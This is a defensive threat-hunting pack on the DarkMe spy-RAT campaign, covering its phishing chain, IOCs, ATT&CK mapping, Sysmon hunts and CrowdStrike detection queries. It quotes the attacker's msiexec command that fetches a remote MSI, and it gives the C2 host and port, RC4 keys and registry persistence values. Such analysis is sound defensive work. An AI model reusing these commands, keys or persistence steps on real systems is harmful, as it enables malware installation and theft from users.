DarkMe RAT (VB6 Spy-RAT) — Water Hydra / Operation DarkCasino

Phishing-only infection chain replacing WinRAR (CVE-2023-38831) and Defender SmartScreen (CVE-2024-21412) zero-days — PIF masquerade → MSI → WSF staging → VB6 COM loader chain → triple persistence → process hollowing into a signed binary → RC4 C2
Threat
DarkMe RAT / Water Hydra
Severity
HIGH
Type
VB6 Spy-RAT / Financially-Motivated APT
Access
Phishing (T1566) — .pif masquerading as image
Version
v0.1 (Draft)
Author
HuntPack
Confidence
High (single-source primary, corroborated background)
Generated
2026-09-28
01

Executive Summary

DarkMe is a Visual Basic 6 (VB6) spy-RAT attributed to the financially-motivated APT tracked as Water Hydra (a.k.a. the EvilNum-led Operation DarkCasino, first documented by NSFOCUS in September 2022). Huntress observed the malware in two separate incidents on 2026-08-31, and the notable shift is delivery: Water Hydra previously burned two zero-days to deliver DarkMe — the WinRAR extension-spoofing flaw (CVE-2023-38831, weaponized April 2023) and the Windows Defender SmartScreen bypass (CVE-2024-21412, weaponized late 2023/early 2024) — but this campaign uses neither. The infection now starts with a plain phishing email linking to what looks like a PNG; the click downloads image.pif, a Windows PE that modern Windows will execute on sight regardless of icon or claimed extension.

The attacker's objective is the same as it has always been: get the VB6 loader chain (Coconout.dll → Use.dll → Finalized.dll) onto the host, pass an inverted 329-application sandbox check ("does a real person use this machine"), establish triple persistence (COM CLSID hijack, custom protocol handler, Run key), and process-hollow the DarkMe payload into a legitimate signed Microsoft binary (clspack.exe) before beaconing to an RC4-obscured C2 for crypto-wallet theft, screenshots, and arbitrary command execution.

The highest-value defensive angle is not the phishing lure — it is the deterministic, low-noise execution chain behind it. rundll32.exe /sta {GUID} with no DLL path, reg.exe import of a .txt file, and a signed Microsoft utility running from %AppData% are all patterns Huntress independently rates as "rare in legitimate use" and that this pack turns into standing detections (§8).

Defender priority: every atomic indicator in this pack (hashes, domains, C2 IP) is corroborated by exactly one public source (Huntress) as of 2026-09-28. Per this pack's evidentiary bar, nothing here is promoted to a blocking/prevent posture — treat §10's Falcon IOC CSV as detect-only and lean on the behavioral queries in §8, which do not depend on this campaign's specific infrastructure staying static.

02

Source Review & Web Hunter Notes

#TierSourceDateKey FindingCarry Forward
1T2Huntress — "DarkMe Email Campaign Broadens Targeting For APT RAT"2026-09-22Primary technical analysis: full attack chain, all 9 file hashes, CLSID/TypeLib, registry persistence, RC4 key, C2 domain/IP, C2 command setYes — primary source for every atomic IOC in this pack
2T2Help Net Security — "DarkMe RAT trades zero-days for plain phishing emails"2026-09-23Syndicated coverage of the Huntress report with an added analyst quote (Andrew Brandt, Huntress) on likely Spanish-national developer attribution and financially-driven motive, including willingness to target minors for game-currency theftPartial — narrative/attribution context only; not treated as independent corroboration of Huntress's atomic IOCs (see §10 prevent-posture note)
3T3IT Security Guru — "Zero-day hackers ditch exploits for a fake image file in new DarkMe campaign" (2026-09-23)2026-09-23—No — site returned HTTP 403 / Cloudflare bot challenge on every fetch attempt (direct fetch and tool-assisted fetch). Dropped as a dead source per this pack's sourcing rule rather than cited without a saved snapshot.
4T2SonicWall — "A Deep Dive Into DarkMe RAT Malware"backgroundIndependent technical analysis of the 2024 SmartScreen-era DarkMe sample: confirms the single-byte-XOR-after-a-broken-RC4 payload pattern and the historical RC4 C2 key noway123!$$#@35@! (different sample, different C2 — NOT reused for this campaign's IOCs)Yes — background/lineage only, not this campaign's atomic IOCs
5T3Black Arrow Cyber — Threat Briefing, 25 September 20262026-09-25Digest entry summarizing the Help Net Security / Huntress reporting; confirms the story had reached general threat-briefing circulation by 2026-09-25Partial — corroborates timeline/visibility only
6T1Trend Micro Zero Day Initiative — "CVE-2024-21412: Water Hydra Targets Traders With Microsoft Defender SmartScreen Zero-Day"background (2024)Confirms Water Hydra / DarkCasino lineage (first detected 2021, initially misattributed to EvilNum, split out as its own cluster by Nov 2023), the CVE-2024-21412 attack chain, and prior use of CVE-2023-38831Yes — actor background and historical zero-day chain only
7T1Group-IB — "Traders' Dollars in Danger: CVE-2023-38831 zero-day vulnerability in WinRAR"background (2023)Original disclosure of CVE-2023-38831 (WinRAR extension-spoofing), found while researching DarkMe distribution; confirms the vulnerability was exploited from April 2023 and patched in WinRAR 6.23Yes — historical zero-day background only

Tier definitions: T1 vendor/primary-discoverer research; T2 reputable security press / MDR vendor blog; T3 aggregator or threat-briefing digest.

Prompt-injection check: none of the fetched pages contained instructions directed at the research agent (no embedded directives to run commands, fetch alternate "real" IOC sources, or alter these instructions). All fetched content was treated as data.

03

Hunt Brief & Attack Chain

Hunt hypotheses (ordered by fidelity)

#HypothesisMITREFalcon TelemetryExpected FPConfidence
H1A host executed a .pif file that is actually a PE, delivered via a link that claimed to be an imageT1204.002, T1036.008ProcessRollup2 / SyntheticProcessRollup2, PeFileWrittenLow — .pif has essentially no modern legitimate useHigh
H2rundll32.exe /sta {GUID} invoked with no DLL path is a durable DarkMe signature Huntress ties to both the 2024 and 2026 campaigns unchangedT1218.011, T1546.015ProcessRollup2 / SyntheticProcessRollup2LowHigh
H3A signed Microsoft binary (clspack.exe) is executing from a user-writable %AppData% path instead of System32/SysWOW64 — a process-hollowing tellT1055.012, T1036.005ProcessRollup2, NetworkConnectIP4 (joined)LowHigh
H4A COM CLSID under HKCU has an InprocServer32 value pointing into a user-writable AppData path rather than Program Files/System32T1546.015AsepValueUpdate / RegGenericValueUpdateMedium — some legitimate per-user COM add-ins register under HKCUMedium–High
H5msiexec.exe is installing an MSI fetched directly from an HTTP(S) URL with /quiet /norestartT1218.007, T1204.002ProcessRollup2 / SyntheticProcessRollup2Medium — some RMM/deployment tooling does this legitimatelyHigh
H6reg.exe import is being run against a .txt file, an anomalous argument type for that commandT1112ProcessRollup2 / SyntheticProcessRollup2LowHigh
H7A Run-key value invokes explorer.exe with a custom URI-scheme argument rather than a plain executable path, masking the true parent of a follow-on rundll32 relaunchT1547.001, T1036.005AsepValueUpdateLowHigh
H8A host is resolving or connecting to this campaign's specific C2 domain/IP:portT1071.004, T1571DnsRequest, NetworkConnectIP4Low, but infrastructure is perishableHigh (while current)

Attack chain

StepActionTelemetryHunt Angle
1Phishing email links to what appears to be image.png; the web server actually serves image.pif (a Windows PE)Mail gateway / proxy logs (no native Falcon telemetry)§7 native mail-gateway hunt
2User double-clicks image.pif; Windows executes it as a program regardless of icon/extensionProcessRollup2, PeFileWrittenQ1, Q2
3image.pif runs msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestartProcessRollup2Q3
4MSI expands a CAB into %AppData%\ComponentsFolder\ and executes the staging script prnfig.wsfPeFileWritten, ProcessRollup2Q4, Q14
5prnfig.wsf copies clspack.exe to %AppData%\Microsoft\, rewrites a registry template with the local path to Coconout.dll, and runs reg.exe import filetext2.txtProcessRollup2, AsepValueUpdate/RegGenericValueUpdateQ5, Q8
6The import registers CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B} (ProgID Coconout.Primary) with InprocServer32 pointing at Coconout.dll; the script then runs rundll32.exe /sta {CFDC57BA-...}ProcessRollup2Q6, Q7
7Coconout.dll (stage 1, COM entry via IShellRunDll) loads Use.dll and calls its FillText exportNot independently visible — in-process DLL load/export callGAP (see §15)
8Use.dll (stage 2) enumerates 329 target applications as an inverted sandbox check; on a pass it writes triple persistence: the CLSID registration (step 6), a custom protocol handler under HKCU\Software\Classes\Locked\shell\open\command, and a Run-key value explorer.exe "Locked://Newest"AsepValueUpdate/RegGenericValueUpdate (persistence only — the enumeration itself is in-memory)Q8, Q9, Q10; enumeration is a GAP
9Use.dll loads Finalized.dll (stage 3), which decrypts company.cer with the key Nobodygoingout (a broken single-byte-effective RC4/XOR, per Huntress's cipher analysis) and process-hollows the result into a freshly copied, legitimately signed clspack.exeDecryption is in-memory (GAP); the hollowed process itself is visibleQ11
10The hollowed clspack.exe runs the DarkMe VB6 RAT, which RC4-decrypts its C2 string at runtime and beacons to thatawful[.]boutique / 67.43.50.11:7712DnsRequest, NetworkConnectIP4Q12, Q13
11Operator issues commands (SHLEXE/ZIPALO/COPALO/PASALO/DELMAP/STRFLS) to steal crypto-wallet data, capture screenshots, enumerate AV, manipulate files, and run arbitrary commandsFolded into the same C2 channel as step 10; no distinct artifact beyond itGAP (capability-level, see §15)
04

Consolidated IOC Table

Every row below is sourced to exactly one public reporter (Huntress, 2026-09-22). Per this pack's prevent-posture rule, Action = detect/hunt only for all atomic indicators — none are promoted to a blocking posture. clspack.exe is listed for context; it is a legitimate Microsoft-signed binary and must never be blocked or treated as malicious in isolation.

TypeValueConfidenceActionContextExpiry
sha256394c93dfbb7581c66a23c52b20cd90b31415c0825a2eab7107e60ee3fe693c04Highdetectimage.pif — initial dropper, masquerades as an image2027-03-28
sha2569fb5888f9ac99227a35f3e08ca08bfb9eed676e1f91638599eba0d7a5aac847fHighdetectpropi.msi — exemsi-wrapped staging MSI2027-03-28
sha2561c923c685f97e556f241d0f1880283500a61dc7ecae8cafe75f34c720ff6b918Highdetectprnfig.wsf — staging VBScript/WSH script2027-03-28
sha25652b242047a8055c0936b384b952c1c16c1072a590610140b01f4acefa8ae883aMediumdetectfiletext2.txt — registry import for COM registration2027-03-28
sha2564a18f65ab7de7be385cbcebc78c9ae49334294f93726822b8900f9b7a324a6b0HighdetectCoconout.dll — loader stage 1 (COM entry point)2027-03-28
sha2563052352ac811c48590f0239281312c35560fc06b4dc39790e365eb1e7cab8634HighdetectUse.dll — loader stage 2 (anti-sandbox gate + persistence, export FillText)2027-03-28
sha256d7185bd7b450b478c793ece3025bdd867eed70bb7b739a5f26375b5ba6cf0d93HighdetectFinalized.dll — loader stage 3 (RunPE, export Calculation)2027-03-28
sha25654ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76Highdetectcompany.cer — encrypted DarkMe payload2027-03-28
sha2562915efecf2a01ce0b3ef49c47666ec43c326e7804df10e5859db5f08eeca8a37—context only — do not blockclspack.exe — legitimate Microsoft-signed "Zip Package Creation Tool"; the hollowing target, not malware—
domainreadonline365.comHighdetectPhishing delivery / redirect host2027-03-28
domainstorageonline.meHighdetectPhishing delivery host2027-03-28
domainviewdocument.liveHighdetectPhishing delivery host (Hostinger, starter-template site)2027-03-28
domainadvancedfuturetechnology.comMediumdetectPhishing delivery host; suspended by provider at time of publication2027-03-28
domainsharedfuturetech.comMediumdetectPhishing delivery host; payload pulled at time of publication and observed reused for an unrelated ClickFix lure — treat as shared/compromised infrastructure, not exclusively DarkMe2027-03-28
domainonlineview365.comHighdetectMSI staging host (/propi.msi)2027-03-28
domainthatawful.boutiqueHighdetectRC4-decrypted C2 domain (not resolving at time of Huntress publication)2027-03-28
ipv467.43.50.11HighdetectC2 endpoint, TCP/77122027-03-28
port7712/tcpHighenrichHardcoded, non-standard DarkMe C2 port — low-noise egress signal per Huntress2027-01-28
registry-clsid{CFDC57BA-1705-45AF-BA10-EFC3D592982B}HighdetectCOM server CLSID (ProgID Coconout.Primary); unchanged since the 2024 campaign2027-03-28
registry-typelib{8F1576C0-BB08-4F05-87A6-268C0D548794}MediumenrichAssociated TypeLib GUID2026-10-28
registry-keyHKCU\Software\Classes\Locked\shell\open\commandHighhuntCustom Locked:// protocol handler (persistence)2026-12-28
registry-valueRun!Locked = explorer.exe "Locked://Newest"HighhuntLogon persistence value (T1547.001)2026-12-28
crypto-keyonlywayhere23!$$#@!!35@!12MediumpivotRC4 key decrypting the C2 string from the RAT's VB form (this sample — differs from the 2024 public-builder key)2026-10-28
crypto-keyNobodygoingoutMediumpivotKey that decrypts company.cer ahead of process hollowing2026-10-28
05

Affected Surface & Telemetry Matrix

SurfaceRequired TelemetryPriorityGap Risk
Windows endpoints (any — no OS-version prerequisite; .pif runs on any modern Windows build)ProcessRollup2, SyntheticProcessRollup2, PeFileWrittenCriticalLow — standard Falcon sensor telemetry
Windows registry (HKCU, per-user)AsepValueUpdate, RegGenericValueUpdateCriticalLow, but noisy without tuning (§8 Q8/Q9)
Network egress / DNSDnsRequest, NetworkConnectIP4HighMedium — infrastructure is perishable; domain was already non-resolving at Huntress's time of publication
Email / phishing deliveryNot a Falcon telemetry source — mail gateway / SEG logsHighGap — covered only by §7 native hunt guidance, not CQL
In-process VB6 loader behavior (anti-sandbox enumeration, RC4/XOR payload decryption)None — no Falcon event captures in-process export calls or memory-only decryptionMediumGap — rely on the persistence/network artifacts the loader leaves behind instead (§8, §15)
Crypto-wallet applications / browsers (targeted data)No dedicated Falcon event for wallet-file access; visible only via the C2 channel carrying the theftMediumGap for the theft itself; C2 channel is covered (Q12/Q13)
06

ATT&CK Mapping

TacticTechniqueNameObserved BehaviorQuery / Control
Initial AccessT1566.002Phishing: Spearphishing LinkEmail links to a URL that claims to be a PNG image§7 mail-gateway hunt
ExecutionT1204.002User Execution: Malicious FileUser double-clicks image.pifQ1, Q2
Defense EvasionT1036.008Masquerading: Masquerade File TypePE served/renamed as a .pif behind an image-looking linkQ1, Q2
Execution / Defense EvasionT1218.007System Binary Proxy Execution: Msiexecmsiexec /i https://.../propi.msi /quiet /norestartQ3
ExecutionT1059.005Command and Scripting Interpreter: Visual Basic (WSH)prnfig.wsf executed by wscript/cscript from %AppData%Q4
Defense EvasionT1112Modify Registryreg.exe import filetext2.txt registers the COM serverQ5
Defense Evasion / ExecutionT1218.011System Binary Proxy Execution: Rundll32rundll32.exe /sta {CLSID}, no DLL pathQ6, Q7
Persistence / Privilege EscalationT1546.015Event Triggered Execution: Component Object Model HijackingHKCU CLSID InprocServer32 → Coconout.dllQ8
PersistenceT1546.001Event Triggered Execution: Change Default File Association (protocol handler variant)Custom Locked:// handler under HKCU ClassesQ9
PersistenceT1547.001Boot or Logon Autostart Execution: Registry Run KeysRun value explorer.exe "Locked://Newest"Q10
Defense EvasionT1497.001Virtualization/Sandbox Evasion: System ChecksInverted 329-application enumeration in Use.dllGAP — in-memory only
DiscoveryT1057 / T1518.001Process Discovery / Security Software DiscoveryCreateToolhelp32Snapshot/Process32First/Process32Next walk of the live process listGAP — in-memory only
Defense EvasionT1027Obfuscated Files or InformationRC4/XOR-encrypted payload (company.cer), RC4-encrypted C2 stringGAP for the crypto itself; Q11–Q13 catch its effects
Defense EvasionT1055.012Process Injection: Process HollowingFinalized.dll hollows the decrypted payload into clspack.exeQ11
Defense EvasionT1036.005Masquerading: Match Legitimate Name or LocationSigned Microsoft binary run from %AppData% instead of System32Q11
Command and ControlT1071.004Application Layer Protocol: DNSResolution of thatawful[.]boutiqueQ12
Command and ControlT1571Non-Standard PortC2 over TCP/7712Q13
Command and ControlT1132.002 / T1027Data Encoding / Obfuscated C2 StringC2 domain RC4-decrypted at runtime from a VB form textboxGAP for the decrypt; Q12/Q13 catch the result
CollectionT1113Screen CaptureDarkMe screenshot capabilityGAP (no distinct artifact beyond C2 channel)
CollectionT1005Data from Local SystemCrypto-wallet file theft (SHLEXE/COPALO/PASALO command set)GAP (no distinct artifact beyond C2 channel)
DiscoveryT1518.001Security Software DiscoveryAV enumeration capabilityGAP (no distinct artifact beyond C2 channel)
ExecutionT1059Command and Scripting InterpreterSHLEXE C2 command (execute shell command)GAP (no distinct artifact beyond C2 channel)
07

Native Audit-Log Hunts

Checks that do not depend on Falcon CQL — use where Sysmon, Windows auditing, or mail-gateway logs are the only telemetry available, or to cross-validate a Falcon hit.

Sysmon

  • Event ID 1 (Process Create): Image ends in .pif; or Image ends in msiexec.exe and CommandLine contains /i http; or Image ends in wscript.exe/cscript.exe and CommandLine contains .wsf and AppData; or Image ends in reg.exe and CommandLine contains import and .txt; or Image ends in rundll32.exe and CommandLine matches /sta {GUID} with no DLL argument.
  • Event ID 11 (File Create): TargetFilename under \AppData\Roaming\ComponentsFolder\, or any .pif creation outside a legacy line-of-business share.
  • Event ID 12/13/14 (Registry): TargetObject containing CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}, Classes\Locked\shell\open\command, or a new value under ...\CurrentVersion\Run whose data starts with explorer.exe " followed by a non-http URI scheme.
  • Event ID 22 (DNS Query): QueryName = thatawful.boutique.
  • Event ID 3 (Network Connect): DestinationIp = 67.43.50.11 and/or DestinationPort = 7712.

Windows Security auditing

  • Event ID 4688 (process creation, with command-line auditing enabled via Include command line in process creation events GPO) as a fallback for the Sysmon process rules above on hosts without Sysmon.
  • Event ID 4657 (registry value modified, requires SACL on the relevant hive) for the CLSID/protocol-handler/Run-key writes, if Advanced Audit Policy > Object Access > Registry is enabled with the appropriate SACLs (see §13 Step 5).
  • Zone.Identifier alternate data stream on image.pif (Mark-of-the-Web) confirms the file arrived from the internet/email rather than being locally built — useful corroboration during triage even though Falcon does not surface ADS contents directly.

Mail gateway / SEG

  • Alert on inbound mail containing links whose display text or anchor implies an image (.png/.jpg extension, "photo", "scan") but whose true-file-type detonation returns a PE or .pif.
  • Alert on, or retroactively hunt for, delivery to readonline365.com, storageonline.me, viewdocument.live, advancedfuturetechnology.com, or sharedfuturetech.com in URL-click/proxy logs (single-sourced — treat as monitor-and-triage, not an automatic block; see §10).
08

CrowdStrike LogScale CQL Hunt Queries

Pick your tenant's cloud first — every "Open in Falcon" button below uses this selection.
Q1 · PIF Execution — PE Masquerading as an Image
CONF HIGHFP LOWCOST LOW

Looks for: any process execution where the file name ends in .pif. FP: low — legacy MS-DOS program-information files are effectively extinct on modern Windows.

// HUNT: PIF Execution — PE Masquerading as an Image
// MITRE: T1204.002, T1036.008
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2, SyntheticProcessRollup2
// FALSE POSITIVES: none expected — a true positive here should be treated as a page-1 finding
// LOOKBACK: 30d (set via the Falcon time picker, not an in-query filter)
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/\.pif$/i
| table([ComputerName, UserName, FileName, ImageFileName, ParentBaseFileName, CommandLine, SHA256HashData])
Q2 · PIF Written to a User-Writable Path
CONF HIGHFP LOWCOST LOW

Looks for: a .pif file landing on disk, independent of whether it ever executed. FP: low — .pif is not a build artifact of any common software-distribution channel.

// HUNT: PIF Dropped to Disk
// MITRE: T1204.002, T1036.008
// CONF: high  FP: low  COST: low
// REQUIRES: PeFileWritten
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=PeFileWritten
| TargetFileName=/\.pif$/i
| table([ComputerName, UserName, TargetFileName, SHA256HashData, ContextBaseFileName])
Q3 · msiexec Fetching a Remote MSI Over HTTP(S)
CONF HIGHFP MEDIUMCOST LOW

Looks for: msiexec.exe installing directly from an HTTP(S) URL with silent/no-restart flags. FP: medium — some RMM/deployment tooling (SCCM, Intune, Chocolatey) legitimately calls msiexec against a URL.

// HUNT: msiexec Fetching a Remote MSI Over HTTP(S)
// MITRE: T1218.007, T1204.002
// CONF: high  FP: medium  COST: low
// REQUIRES: ProcessRollup2, SyntheticProcessRollup2
// FALSE POSITIVES: SCCM, Intune, and similar deployment tools can call msiexec against an internal or vendor URL
// TUNING: exclude CommandLine matches for your known SCCM distribution point, Intune content delivery network, or internal package-repo hostname before promoting to an alert
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^msiexec\.exe$/i
| CommandLine=/\/i\s+https?:\/\//i
| CommandLine=/\/quiet/i
| table([ComputerName, UserName, FileName, CommandLine, ParentBaseFileName])
Q4 · WSF Execution From %AppData% via WScript/CScript
CONF HIGHFP LOWCOST LOW

Looks for: the Windows Script Host running a .wsf file staged under %AppData%. FP: low — rare legacy OEM/print-utility scripts are the only expected benign hits; validate against known internal WSF tooling.

// HUNT: WSF Execution From %AppData% via WScript/CScript
// MITRE: T1059.005, T1027
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2, SyntheticProcessRollup2
// FALSE POSITIVES: rare legacy OEM or print-management WSF scripts
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^(wscript|cscript)\.exe$/i
| CommandLine=/\.wsf/i
| CommandLine=/AppData/i
| table([ComputerName, UserName, FileName, CommandLine, ParentBaseFileName])
Q5 · reg.exe Import of a .txt File
CONF HIGHFP LOWCOST LOW

Looks for: reg.exe import pointed at a .txt file rather than a .reg file. FP: low — essentially none; legitimate software almost never does this.

// HUNT: reg.exe Import of a .txt File
// MITRE: T1112
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2, SyntheticProcessRollup2
// FALSE POSITIVES: none expected — the .txt argument is itself the anomaly
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^reg\.exe$/i
| CommandLine=/import/i
| CommandLine=/\.txt/i
| table([ComputerName, UserName, CommandLine, ParentBaseFileName, ParentProcessId])
Q6 · rundll32 /sta {GUID} With No DLL Path (Generic Pattern)
CONF HIGHFP LOWCOST LOW

Looks for: rundll32.exe invoked with /sta and a bare GUID, with no DLL path on the command line — a pattern Huntress calls "central to every documented DarkMe generation and rare in legitimate use." Written generically so it also catches CLSID rotation in a future campaign variant. FP: low — ⚠ validate in tenant against any internally registered shell-extension CLSIDs that use this same invocation style.

// HUNT: rundll32 /sta {GUID} With No DLL Path (Generic COM IOA Pattern)
// MITRE: T1218.011, T1546.015
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2, SyntheticProcessRollup2
// FALSE POSITIVES: legitimate /sta invocations almost always carry a DLL path before the switch — ⚠ validate in tenant
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| FileName=/^rundll32\.exe$/i
| CommandLine=/\/sta\s+\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}/i
| table([ComputerName, UserName, CommandLine, ParentBaseFileName])
Q7 · Known DarkMe CLSID Execution (IOA-Ready)
CONF HIGHFP LOWCOST LOW

Looks for: the exact CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B} on any command line — reused unchanged from the 2024 Water Hydra chain into this 2026 phishing-only chain. FP: low — this literal value is campaign-specific.

// HUNT: Known DarkMe CLSID Execution — rundll32 /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
// MITRE: T1218.011, T1546.015
// CONF: high  FP: low  COST: low
// REQUIRES: ProcessRollup2, SyntheticProcessRollup2
// FALSE POSITIVES: none — this exact CLSID is campaign-specific
#event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/
| CommandLine=/\{CFDC57BA-1705-45AF-BA10-EFC3D592982B\}/i
| table([ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, ParentProcessId])
Q8 · COM CLSID InprocServer32 Hijack Pointing Into %AppData% (HKCU)
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: a per-user CLSID InprocServer32 value written under HKCU whose target path lives in %AppData%. FP: medium — some legitimate per-user COM add-ins (Office add-ins, browser toolbars, backup-agent shell extensions) register this way too.

// HUNT: COM CLSID InprocServer32 Hijack Into %AppData% (HKCU)
// MITRE: T1546.015
// CONF: medium  FP: medium  COST: low
// REQUIRES: AsepValueUpdate, RegGenericValueUpdate
// FALSE POSITIVES: legitimate per-user COM add-ins (Office add-ins, browser toolbars, backup-agent shell extensions) register InprocServer32 under HKCU too — verify the target DLL path and publisher
// TUNING: exclude known-good vendor InprocServer32 paths under a signed vendor AppData subfolder (e.g. \AppData\Local\Microsoft\, \AppData\Roaming\Zoom\) before promoting to an alert
#event_simpleName=/AsepValueUpdate|RegGenericValueUpdate/
| RegObjectName=/CLSID\\.*InprocServer32/i
| RegStringValue=/\\AppData\\/i
| table([ComputerName, UserName, RegObjectName, RegStringValue])
Q9 · Custom Protocol Handler Registered Under HKCU Classes
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: any new shell\open\command value under HKCU\Software\Classes\<name> — this is how DarkMe registers its Locked:// handler. FP: medium — legitimate desktop apps (Slack, Teams, Zoom, Spotify, browsers, VPN clients) register their own URI-scheme handlers on install.

// HUNT: Custom Protocol Handler Registration Under HKCU Classes \shell\open\command
// MITRE: T1546.001, T1112
// CONF: medium  FP: medium  COST: low
// REQUIRES: AsepValueUpdate, RegGenericValueUpdate
// FALSE POSITIVES: legitimate desktop apps register their own URI-scheme protocol handlers under HKCU on install
// TUNING: exclude well-known vendor ProgIDs/protocol names (slack, msteams, zoommtg, spotify, http, https, mailto) — surface only unrecognized or short/random-looking protocol names such as "locked"
#event_simpleName=/AsepValueUpdate|RegGenericValueUpdate/
| RegObjectName=/Software\\Classes\\[^\\]+\\shell\\open\\command/i
| table([ComputerName, UserName, RegObjectName, RegValueName, RegStringValue])
Q10 · Run Key Launching explorer.exe With a Custom URI Scheme
CONF HIGHFP LOWCOST LOW

Looks for: a Run-key value whose data invokes explorer.exe with a custom URI scheme instead of a plain executable path — the mechanism DarkMe uses to mask its true parent process at logon. FP: low — legitimate Run-key entries invoke an executable directly.

// HUNT: Run Key Launching explorer.exe With a Custom URI Scheme
// MITRE: T1547.001, T1036.005
// CONF: high  FP: low  COST: low
// REQUIRES: AsepValueUpdate
// FALSE POSITIVES: none expected
#event_simpleName=AsepValueUpdate
| RegObjectName=/CurrentVersion\\Run/i
| RegStringValue=/explorer\.exe\s*"?[A-Za-z0-9_-]{2,20}:\/\//i
| table([ComputerName, UserName, RegObjectName, RegValueName, RegStringValue])
Q11 · Signed Microsoft Binary (clspack.exe) Executing From %AppData% — Hollowing Indicator
CONF HIGHFP LOWCOST MEDIUM

Looks for: clspack.exe ("Zip Package Creation Tool") running from a user profile path, left-joined to any network connection from the same process for one-shot triage context. FP: low — clspack.exe ships in System32/SysWOW64 and has no legitimate reason to run from %AppData%, let alone reach the network. Do not use this hash/binary as a standalone blocklist entry — it is legitimate and signed; only the execution location is the signal.

// HUNT: Signed clspack.exe Executing From %AppData% — Hollowing Indicator
// MITRE: T1055.012, T1036.005
// CONF: high  FP: low  COST: medium
// REQUIRES: ProcessRollup2, NetworkConnectIP4
// FALSE POSITIVES: none expected — clspack.exe has no legitimate reason to run outside System32/SysWOW64
#event_simpleName=ProcessRollup2
| FileName=/^clspack(\.exe)?$/i
| ImageFileName=/\\AppData\\/i
| rename(field=TargetProcessId_decimal, as=ContextProcessId_decimal)
| join(query={#event_simpleName=NetworkConnectIP4}, field=ContextProcessId_decimal, mode=left)
| table([ComputerName, UserName, ImageFileName, CommandLine, RemoteAddressIP4, RemotePort])
Q12 · DNS Resolution to DarkMe C2 Domain
CONF HIGHFP LOWCOST LOW

Looks for: resolution of this campaign's C2 domain. FP: low, but this infrastructure is perishable and was already non-resolving at Huntress's time of publication — treat a miss as inconclusive, not clean.

// HUNT: DNS Resolution to DarkMe C2 Domain
// MITRE: T1071.004, T1568
// CONF: high  FP: low  COST: low
// REQUIRES: DnsRequest
// FALSE POSITIVES: none expected — single-purpose campaign infrastructure
#event_simpleName=DnsRequest
| DomainName=/^thatawful\.boutique$/i
| table([ComputerName, UserName, DomainName, ContextProcessId])
Q13 · Network Egress to DarkMe C2 (67.43.50.11:7712)
CONF HIGHFP LOWCOST LOW

Looks for: outbound connections to the C2 IP on its hardcoded port. FP: low — TCP/7712 is not a registered business-application port.

// HUNT: Network Egress to DarkMe C2 (67.43.50.11:7712)
// MITRE: T1071, T1571
// CONF: high  FP: low  COST: low
// REQUIRES: NetworkConnectIP4
// FALSE POSITIVES: none expected
#event_simpleName=NetworkConnectIP4
| RemoteAddressIP4=/^67\.43\.50\.11$/
| RemotePort=7712
| table([ComputerName, UserName, RemoteAddressIP4, RemotePort, ContextBaseFileName])
Q14 · PE/DLL Written to %AppData%\ComponentsFolder\
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: any PE/DLL written into DarkMe's staging directory. FP: medium — ComponentsFolder is not a reserved Windows path name; validate the writing process and signature before escalating.

// HUNT: PE/DLL Written to %AppData%\ComponentsFolder\
// MITRE: T1105, T1027
// CONF: medium  FP: medium  COST: low
// REQUIRES: PeFileWritten
// FALSE POSITIVES: "ComponentsFolder" is not a reserved Windows path — a rare legitimate installer could coincidentally use a similarly named subfolder
// TUNING: exclude paths under \AppData\Local\Packages\ (MSIX/UWP) and any code-signed writer process already confirmed benign in your environment
#event_simpleName=PeFileWritten
| TargetFileName=/\\AppData\\Roaming\\ComponentsFolder\\.*\.(dll|exe)$/i
| table([ComputerName, UserName, TargetFileName, SHA256HashData, ContextBaseFileName])
09

CrowdStrike Custom IOA Recommendations

Promote to a Custom IOA (blocking or high-priority alerting rule, as your policy allows) once each has run FP-clean over the §11 baseline window:

CandidatePatternExclusionsDeployment path
Q7 — Known DarkMe CLSIDProcessRollup2 where CommandLine contains {CFDC57BA-1705-45AF-BA10-EFC3D592982B}None identifiedCustom IOA, alert-only for one cycle then promote to block if your policy allows blocking on rundll32 COM invocation
Q6 — Generic /sta {GUID}, no DLL pathProcessRollup2 where FileName = rundll32.exe and CommandLine matches /sta {GUID-pattern} with nothing else on the line⚠ validate in tenant against any internal shell-extension CLSIDs invoked this wayCustom IOA, alert-only
Q1 — .pif executionProcessRollup2/SyntheticProcessRollup2 where FileName matches \.pif$None identifiedCustom IOA, strong candidate for full prevention (block) given near-zero legitimate use — validate against any internal legacy tooling first
Q10 — Run key → explorer.exe custom URIAsepValueUpdate where RegObjectName matches CurrentVersion\Run and RegStringValue matches explorer\.exe ".{2,20}://None identifiedCustom IOA, alert-only
Q13 — C2 IP:portNetworkConnectIP4 where RemoteAddressIP4 = 67.43.50.11 and RemotePort = 7712None identifiedCustom IOA, alert-only — single-sourced infrastructure, do not silently block (see §10); re-verify liveness before any blocking decision

Q3, Q4, Q5, Q8, Q9, Q11, Q12, Q14 stay as scheduled hunt/investigate queries: each carries a real (medium, or context-dependent) false-positive population that needs environment-specific tuning before it is safe to alert on unattended.

10

Machine-Readable IOC Appendix

All rows below are single-sourced (Huntress, 2026-09-22). None are shipped at action=prevent — see the prevent-posture rule in §4/§12. clspack.exe appears only as documented context; never import it as a blockable indicator.

